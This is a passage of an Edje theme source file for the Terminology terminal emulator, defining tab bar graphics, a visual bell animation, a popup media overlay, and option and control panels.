DECELERATE 0.5;\n            target: \"tabcount_clip\";\n         }\n         program {\n            signal: \"tabmissed,off\"; source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.5;\n            target: \"terminology.tabmissed.label\";\n         }\n         program {\n            signal: \"tabmissed,on\"; source: \"terminology\";\n            action: STATE_SET \"over\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.tabmissed.label\";\n            after: \"tabmissed2\";\n         }\n         program { name: \"tabmissed2\";\n            signal: \"tabmissed,on\"; source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 3.0;\n            target: \"terminology.tabmissed.label\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // miniview\n         part { name: \"terminology.miniview\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n               rel1.to_x: \"terminology.content\";\n               rel1.to_y: \"viewregion\";\n               rel2.to: \"terminology.content\";\n               //color: 255 255 255 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"on\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               //color: 255 255 255 255;\n            }\n         }\n\n         program {\n            signal: \"miniview,off\"; source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"terminology.miniview\";\n         }\n         program {\n            signal: \"miniview,on\"; source: \"terminology\";\n            action: STATE_SET \"on\" 0.0;\n            target: \"terminology.miniview\";\n         }\n\n         part { name: \"tab_bevel_bg0\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tableft\";\n               rel2.to_y: \"tableft\";\n               rel2.to_x: \"tab_bevel_bg1\";\n               rel2.relative: 0.0 1.0;\n               image.normal: \"tab_bg_l0.png\";\n               image.border: 2 0 4 4;\n               fill.smooth: 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"tab_bevel_bg1\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tabmiddle\";\n               rel1.offset: -4 0;\n               rel2.to: \"tabmiddle\";\n               align: 0.0 0.0;\n               max: 12 99999;\n               min: 12 0;\n               image.normal: \"tab_bg_l1.png\";\n               image.border: 0 0 4 4;\n               fill.smooth: 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n              inherit: \"default\" 0.0;\n              visible: 1;\n            }\n         }\n         part { name: \"tab_bevel_bg2\"; type: SPACER;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tab_bevel_bg1\";\n               rel1.relative: 1.0 0.0;\n               rel2.to: \"tab_bevel_bg3\";\n               rel2.relative: 0.0 1.0;\n               fixed: 1 1;\n            }\n         }\n         part { name: \"tab_bevel_bg3\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tabmiddle\";\n               rel2.to: \"tabmiddle\";\n               rel2.offset: 3 -1;\n               align: 1.0 0.0;\n               max: 12 99999;\n               min: 12 0;\n               image.normal: \"tab_bg_r1.png\";\n               image.border: 0 0 4 4;\n               fill.smooth: 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"tab_bevel_bg4\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.to_y: \"tabright\";\n               rel1.to_x: \"tab_bevel_bg3\";\n               rel1.relative: 1.0 0.0;\n               rel2.to: \"tabright\";\n               image.normal: \"tab_bg_r0.png\";\n               image.border: 0 2 4 4;\n               fill.smooth: 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n\n         part { name: \"terminology.tabl.content\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tableft\";\n               rel2.to: \"tableft\";\n               fixed: 1 1;\n            }\n         }\n         part { name: \"terminology.tabr.content\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n               rel1.to: \"tabright\";\n               rel2.to: \"tabright\";\n               fixed: 1 1;\n            }\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // a swallow to hold a finger size rect for min tab size\n         program {\n            signal: \"tabbar,on\"; source: \"terminology\";\n            action: STATE_SET \"tab\" 0.0;\n            target: \"viewregion\";\n            target: \"tableft\";\n            target: \"tabmiddle\";\n            target: \"tabright\";\n            target: \"tab_bevel_bg0\";\n            target: \"tab_bevel_bg1\";\n            target: \"tab_bevel_bg3\";\n            target: \"tab_bevel_bg4\";\n            target: \"tabtitle\";\n         }\n         program {\n            signal: \"tabbar,off\"; source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"viewregion\";\n            target: \"tableft\";\n            target: \"tabmiddle\";\n            target: \"tabright\";\n            target: \"tab_bevel_bg0\";\n            target: \"tab_bevel_bg1\";\n            target: \"tab_bevel_bg3\";\n            target: \"tab_bevel_bg4\";\n            target: \"tabtitle\";\n         }\n\n         part { name: \"terminology.tab\"; type: SWALLOW;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.relative: 1.0 0.0;\n               rel1.to_x: \"terminology.tabl\";\n               rel2.relative: 0.0 0.0;\n               rel2.to_x: \"terminology.tabr\";\n               align: 0.5 0.0;\n               visible: 0;\n               fixed: 1 1;\n            }\n         }\n         // some slot for dragable parts to stayt in along top edge of bg\n         part { name: \"tabdrag\"; type: SPACER;\n            description { state: \"default\" 0.0;\n               rel2.relative: 1.0 0.0;\n               fixed: 1 1;\n            }\n         }\n         // left boundary of the active tab (ragable 0.0 -> 1.0)\n         part { name: \"terminology.tabl\"; type: SPACER;\n            dragable.x: 1 1 0;\n            dragable.confine: \"tabdrag\";\n            description { state: \"default\" 0.0;\n               rel2.relative: 1.0 0.0;\n               max: 1 1;\n               fixed: 1 1;\n            }\n         }\n         // right boundary of the active tab (ragable 0.0 -> 1.0)\n         part { name: \"terminology.tabr\"; type: SPACER;\n            dragable.x: 1 1 0;\n            dragable.confine: \"tabdrag\";\n            description { state: \"default\" 0.0;\n               rel2.relative: 1.0 0.0;\n               max: 1 1;\n               fixed: 1 1;\n            }\n         }\n\n         part { name: \"terminology.tab.title\"; type: TEXT; mouse_events: 0;\n            scale: 1;\n            effect: SOFT_SHADOW BOTTOM;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               color: 255 255 255 255;\n               color3: 0 0 0 18;\n               text { font: \"Sans:style=Bold\"; size: 10;\n                  align: 0.5 0.0;\n                  min: 0 1;\n               }\n               align: 0.5 0.0;\n               rel1.to_x: \"tab_bevel_bg2\";\n               rel1.offset: 0 2;\n               rel2.to_x: \"tab_bevel_bg2\";\n               rel2.offset: -1 2;\n               rel2.relative: 1.0 0.0;\n               visible: 0;\n               fixed: 1 1;\n            }\n         }\n         part { name: \"tabtitle\"; type: TEXT; mouse_events: 0;\n            scale: 1;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               color: 255 255 255 255;\n               text { font: \"Sans:style=Bold\"; size: 10;\n                  align: 0.5 0.5;\n                  min: 0 1;\n                  text_source: \"terminology.tab.title\";\n               }\n               align: 0.5 0.5;\n               rel1.to_x: \"tab_bevel_bg2\";\n               rel1.to_y: \"tabmiddle\";\n               rel2.to_x: \"tab_bevel_bg2\";\n               rel2.to_y: \"tabmiddle\";\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"tablimit0\"; type: SPACER;\n            description { state: \"default\" 0.0;\n               rel1.to_y: \"terminology.tab\";\n               rel1.relative: 0.0 1.0;\n               rel2.to_y: \"terminology.tab.title\";\n               align: 0.0 0.0;\n               fixed: 1 1;\n            }\n         }\n\n         part { name: \"tableft\"; type: RECT;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel2.to_x: \"terminology.tab\";\n               rel2.to_y: \"tabmiddle\";\n               rel2.relative: 0.0 1.0;\n               color: 0 0 0 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"tabright\"; type: RECT;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tab\";\n               rel1.relative: 1.0 0.0;\n               rel2.to_y: \"tabmiddle\";\n               color: 0 0 0 0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"tabmiddle\"; type: RECT;\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tab\";\n               rel2.to_x: \"terminology.tab\";\n               rel2.to_y: \"tablimit0\";\n               rel2.offset: -1 0;\n               color: 0 0 0 0;\n               align: 0.0 0.0;\n               visible: 0;\n               fixed: 1 1;\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // a place terminology will place an entry box for internal commands\n         part { name: \"cmdclip\"; type: RECT;\n            description { state: \"default\" 0.0;\n               color: 255 255 255 255;\n               rel1.to: \"terminology.cmdbox\";\n               rel1.offset: -100 -100;\n               rel2.to: \"terminology.cmdbox\";\n               rel2.offset: 99 99;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n               visible: 1;\n            }\n         }\n         part { name: \"cmdback\"; type: RECT;\n            clip_to: \"cmdclip\";\n            description { state: \"default\" 0.0;\n               color: 255 255 255 255;\n               rel1.to: \"terminology.cmdbox\";\n               rel1.offset: -2 -2;\n               rel2.to: \"terminology.cmdbox\";\n               rel2.offset: 1 1;\n            }\n         }\n         part { name: \"terminology.cmdbox\"; type: SWALLOW;\n            clip_to: \"cmdclip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               min: 8 8;\n               rel1.relative: 0.0 1.0;\n               rel1.offset: 8 9;\n               rel2.offset: -9 9;\n               align: 0.5 0.0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.offset: 8 -9;\n               rel2.offset: -9 -9;\n               align: 0.5 1.0;\n            }\n         }\n         program { name: \"cmdshow0\";\n            signal: \"cmdbox,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.4;\n            target: \"cmdclip\";\n         }\n         program { name: \"cmdshow\";\n            signal: \"cmdbox,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: SPRING 0.4 0.5 4;\n            target: \"terminology.cmdbox\";\n         }\n         program { name: \"cmdhide\";\n            signal: \"cmdbox,hide\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: ACCELERATE 0.5;\n            target: \"terminology.cmdbox\";\n            target: \"cmdclip\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // visual bell - spinning red siren light\n         part { name: \"bell_base\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               visible: 0;\n               color: 255 255 255 0;\n               min: 32 32;\n               max: 32 32;\n               rel2.offset: -1 -1;\n               align: 1.0 1.0;\n               image.normal: \"bg_led_base.png\";\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"bell\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               visible: 0;\n               color: 255 255 255 0;\n               rel1.to: \"bell_base\";\n               rel2.to: \"bell_base\";\n               image.normal: \"bg_led.png\";\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"bell_strobe\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               visible: 0;\n               color: 255 255 255 0;\n               rel1.to: \"bell\";\n               rel2.to: \"bell\";\n               image.normal: \"bg_led_strobe.png\";\n               map {\n                  on: 1;\n                  smooth: 1;\n                  rotation.center: \"bell\";\n               }\n            }\n            description { state: \"spin\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               color: 255 255 255 255;\n               map.rotation.z: 36.0;\n            }\n            description { state: \"spin_done\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 0;\n               color: 255 255 255 0;\n               map.rotation.z: 684.0;\n            }\n         }\n         program { name: \"bell0\";\n            signal: \"bell\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"bell_base\";\n            target: \"bell\";\n            target: \"bell_strobe\";\n            after: \"bell\";\n         }\n         program { name: \"bell\";\n            action: STATE_SET \"visible\" 0.0;\n            target: \"bell_base\";\n            after: \"bell2\";\n         }\n         program { name: \"bell2\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.1;\n            target: \"bell\";\n            after: \"bell3\";\n         }\n         program { name: \"bell3\";\n            action: STATE_SET \"spin\" 0.0;\n            transition: LINEAR 0.1;\n            target: \"bell_strobe\";\n            after: \"bell4.0\";\n            after: \"bell4.1\";\n            after: \"bell4.2\";\n         }\n         program { name: \"bell4.0\";\n            action: STATE_SET \"default\" 0.0;\n            transition: ACCELERATE 1.2;\n            target: \"bell\";\n         }\n         program { name: \"bell4.1\";\n            action: STATE_SET \"default\" 0.0;\n            transition: ACCELERATE 1.6;\n            target: \"bell_base\";\n         }\n         program { name: \"bell4.2\";\n            action: STATE_SET \"spin_done\" 0.0;\n            transition: LINEAR 0.9;\n            target: \"bell_strobe\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // popup media over the terminal (until dismissed)\n         part { name: \"popmedia_clip\"; type: RECT;\n            mouse_events: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               visible: 0;\n               color: 255 255 255 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"popmedia_shadow\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1 {\n                  to: \"terminology.popmedia\";\n               }\n               rel2 {\n                  to: \"terminology.popmedia\";\n               }\n               image.normal: \"pm_shadow.png\";\n               image.border: 64 64 64 64;\n               image.border_scale_by: 0.1;\n               fill.smooth: 0;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.offset: -32 -32;\n               rel2.offset: 31 31;\n               image.border_scale_by: 1.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_fill\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.popmedia\";\n               rel2.to: \"terminology.popmedia\";\n               image.normal: \"pm_fill.png\";\n               fill {\n                  size.relative: 0.0 0.0;\n                  size.offset: 64 64;\n               }\n            }\n         }\n         part { name: \"terminology.popmedia\"; type: SWALLOW;\n            clip_to: \"popmedia_clip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.relative: 0.5 0.5;\n               rel2.relative: 0.5 0.5;\n               visible: 0;\n            }\n            description { state: \"image\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.relative: 0.1 0.1;\n               rel2.relative: 0.9 0.9;\n               visible: 1;\n            }\n            description { state: \"scale\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.relative: 0.1 0.1;\n               rel2.relative: 0.9 0.9;\n               visible: 1;\n            }\n            description { state: \"edje\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.relative: 0.1 0.1;\n               rel2.relative: 0.9 0.9;\n               visible: 1;\n            }\n            description { state: \"movie\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.relative: 0.1 0.1;\n               rel2.relative: 0.9 0.9;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_overlay\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.popmedia\";\n               rel2.to: \"terminology.popmedia\";\n               image.normal: \"pm_overlay.png\";\n               fill.smooth: 0;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_bevel\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.popmedia\";\n               rel2.to: \"terminology.popmedia\";\n               image.normal: \"bg_bevel.png\";\n               image.border: 3 3 5 3;\n               image.middle: 0;\n               fill.smooth: 0;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_glintclip\"; type: RECT;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_glint\";\n            mouse_events: 0;\n            clip_to: \"popmedia_glintclip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               min: 79 5;\n               max: 79 5;\n               rel1 {\n                  to: \"terminology.popmedia\";\n                  relative: 0.0 0.0;\n                  offset: 0 0;\n               }\n               rel2 {\n                  to: \"terminology.popmedia\";\n                  relative: 1.0 0.0;\n                  offset: -1 0;\n               }\n               image.normal: \"bg_glint.png\";\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_shine\";\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.popmedia\";\n               rel2.to: \"terminology.popmedia\";\n               image.normal: \"bg_shine.png\";\n               fill.smooth: 0;\n               align: 0.5 0.0;\n               aspect: (255/120) (255/120);\n               aspect_preference: HORIZONTAL;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         part { name: \"popmedia_dismiss\"; type: RECT;\n            mouse_events: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               color: 0 0 0 0;\n               visible: 0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n            }\n         }\n         program { name: \"popmedia_dismiss\";\n            signal: \"mouse,clicked,*\";\n            source: \"popmedia_dismiss\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.5;\n            target: \"terminology.popmedia\";\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n            after: \"popmedia_dismiss2\";\n         }\n         program { name: \"popmedia_dismiss2\";\n            action: SIGNAL_EMIT \"popmedia,done\" \"terminology\";\n         }\n         program { name: \"popmedia_off\";\n            signal: \"popmedia,off\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.popmedia\";\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n            after: \"popmedia_dismiss2\";\n         }\n         program { name: \"popmedia_img\";\n            signal: \"popmedia,image\";\n            source: \"terminology\";\n            action: STATE_SET \"image\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.popmedia\";\n         }\n         program { name: \"popmedia_scale\";\n            signal: \"popmedia,scale\";\n            source: \"terminology\";\n            action: STATE_SET \"scale\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.popmedia\";\n         }\n         program { name: \"popmedia_edje\";\n            signal: \"popmedia,edje\";\n            source: \"terminology\";\n            action: STATE_SET \"edje\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.popmedia\";\n         }\n         program { name: \"popmedia_mov\";\n            signal: \"popmedia,movie\";\n            source: \"terminology\";\n            action: STATE_SET \"movie\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.popmedia\";\n         }\n         program { name: \"popmedia_img2\";\n            signal: \"popmedia,image\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n         }\n         program { name: \"popmedia_scale2\";\n            signal: \"popmedia,scale\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n         }\n         program { name: \"popmedia_edje2\";\n            signal: \"popmedia,edje\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n         }\n         program { name: \"popmedia_mov2\";\n            signal: \"popmedia,movie\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"popmedia_clip\";\n            target: \"popmedia_dismiss\";\n            target: \"popmedia_shadow\";\n            target: \"popmedia_fill\";\n            target: \"popmedia_overlay\";\n            target: \"popmedia_bevel\";\n            target: \"popmedia_glint\";\n            target: \"popmedia_glintclip\";\n            target: \"popmedia_shine\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // overlayed options and controls\n         part { name: \"terminology.about\"; type: SWALLOW;\n            scale: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               min: 198 198;\n               max: 198 198;\n               align: 0.5 0.0;\n               visible: 0;\n               rel1.relative: 0.0 1.0;\n               rel2.relative: 1.0 1.0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               align: 0.5 0.5;\n               rel1.relative: 0.0 0.0;\n               rel2.relative: 1.0 1.0;\n            }\n         }\n         program { name: \"ab_show\";\n            signal: \"about,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: SPRING 1.2 2.0 6;\n            target: \"terminology.about\";\n         }\n         program { name: \"ab_hide\";\n            signal: \"about,hide\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.6;\n            target: \"terminology.about\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // swallow to hold invisile rect to click on to dismiss things\n         part { name: \"terminology.dismiss\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n            }\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // overlayed options and controls\n         part { name: \"terminology.optdetails\"; type: SWALLOW;\n            scale: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               min: 40 40;\n               align: 0.0 0.5;\n               visible: 0;\n               rel1 {\n                  relative: 1.0 0.02;\n                  offset: 2 2;\n               }\n               rel2 {\n                  relative: 1.0 0.98;\n                  offset: 2 -3;\n               }\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               align: 1.0 0.5;\n               rel1 {\n                  relative: 0.1 0.02;\n                  offset: 2 2;\n               }\n               rel2 {\n                  to_x: \"terminology.options\";\n                  relative: 0.0 0.98;\n                  offset: -3 -3;\n               }\n            }\n         }\n         program { name: \"opdt_show\";\n            signal: \"optdetails,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.4;\n            target: \"terminology.optdetails\";\n         }\n         program { name: \"opdt_hide\";\n            signal: \"optdetails,hide\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.2;\n            target: \"terminology.optdetails\";\n            after: \"opdt_hide2\";\n         }\n         program { name: \"opdt_hide2\";\n            action: SIGNAL_EMIT \"optdetails,hide,done\" \"terminology\";\n         }\n         \n         part { name: \"terminology.options\"; type: SWALLOW;\n            scale: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               align: 0.0 0.5;\n               visible: 0;\n               rel1.relative: 1.0 0.02;\n               rel2 {\n                  relative: 1.0 0.98;\n                  offset: -3 -3;\n               }\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               align: 1.0 0.5;\n               rel1 {\n                  offset: -3 2;\n               }\n               rel2 {\n                  offset: -3 -3;\n               }\n            }\n         }\n         program { name: \"op_show\";\n            signal: \"options,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.4;\n            target: \"terminology.options\";\n         }\n         program { name: \"op_hide\";\n            signal: \"options,hide\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.6;\n            target: \"terminology.options\";\n         }\n         \n         part { name: \"terminology.controls\"; type: SWALLOW;\n            scale: 1;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               min: 100 100;\n               align: 0.0 1.0;\n               visible: 0;\n               rel1.relative: 1.0 1.0;\n               rel2.relative: 1.0 1.0;\n            }\n            description { state: \"visible\" 0.0;\n               inherit: \"default\" 0.0;\n               align: 1.0 1.0;\n               rel1.offset: -3 -3;\n               rel2.offset: -3 -3;\n               visible: 1;\n            }\n         }\n         program { name: \"ct_show\";\n            signal: \"controls,show\";\n            source: \"terminology\";\n            action: STATE_SET \"visible\" 0.0;\n            transition: DECELERATE 0.3;\n            target: \"terminology.controls\";\n         }\n         program { name: \"ct_hide\";\n            signal: \"controls,hide\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.5;\n            target: \"terminology.controls\";\n         }\n      }\n   }\n\n   group { name: \"terminology/tabbar_back\";\n      images {\n         image: \"tab_other_l.png\" COMP;\n         image: \"tab_other_m.png\" COMP;\n         image: \"tab_other_r.png\" COMP;\n         image: \"tab_shad_l2.png\" COMP;\n         image: \"tab_shad_r2.png\" COMP;\n      }\n      parts {\n         part { name: \"tab_bevel_shad1\";\n            mouse_events: 0;\n            clip_to: \"clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"tab_base_top1\";\n               rel2.to: \"tab_base_top1\";\n               image.normal: \"tab_shad_l2.png\";\n               image.border: 0 0 10 10;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"tab_bevel_shad3\";\n            mouse_events: 0;\n            clip_to: \"clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"tab_base_top3\";\n               rel2.to: \"tab_base_top3\";\n               image.normal: \"tab_shad_r2.png\";\n               image.border: 0 0 10 10;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"tab_base_top1\";\n            mouse_events: 0;\n            clip_to: \"clip\";\n            description { state: \"default\" 0.0;\n               align: 0.0 0.0;\n               rel1.offset: -4 0;\n               max: 12 99999;\n               min: 12 0;\n               image.normal: \"tab_other_l.png\";\n               image.border: 0 0 4 4;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"tab_base_top2\";\n            mouse_events: 0;\n            clip_to: \"clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"tab_base_top1\";\n               rel1.relative: 1.0 0.0;\n               rel2.to: \"tab_base_top3\";\n               rel2.relative: 0.0 1.0;\n               image.normal: \"tab_other_m.png\";\n               image.border: 0 0 4 4;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"tab_base_top3\";\n            mouse_events: 0;\n            clip_to: \"clip\";\n            description { state: \"default\" 0.0;\n               align: 1.0 0.0;\n               rel2.offset: 3 -1;\n               max: 12 99999;\n               min: 12 0;\n               image.normal: \"tab_base_r1.png\";\n               image.normal: \"tab_other_r.png\";\n               image.border: 0 0 4 4;\n               fill.smooth: 0;\n            }\n         }\n         part { name: \"terminology.title\"; type: TEXT; mouse_events: 0;\n            scale: 1;\n            description { state: \"default\" 0.0;\n               text { font: \"Sans:style=Bold\"; size: 10;\n                  align: 0.5 0.5;\n                  min: 0 1;\n               }\n               align: 0.5 0.5;\n               color: 96 96 96 255;\n               rel1.to: \"tab_base_top2\";\n               rel2.to: \"tab_base_top2\";\n            }\n         }\n         part { name: \"clip\"; type: RECT;\n            description { state: \"default\" 0.0;\n               rel2.offset: -1 -2;\n            }\n         }\n         part { name: \"event\"; type: RECT;\n            description { state: \"default\" 0.0;\n               color: 0 0 0 0;\n            }\n         }\n         program {\n            signal: \"mouse,clicked,1\"; source: \"event\";\n            action: SIGNAL_EMIT \"tab,activate\" \"terminology\";\n         }\n      }\n   }\n\n   //////////////////////////////////////////////////////////////////////////////\n   //// the cursor to 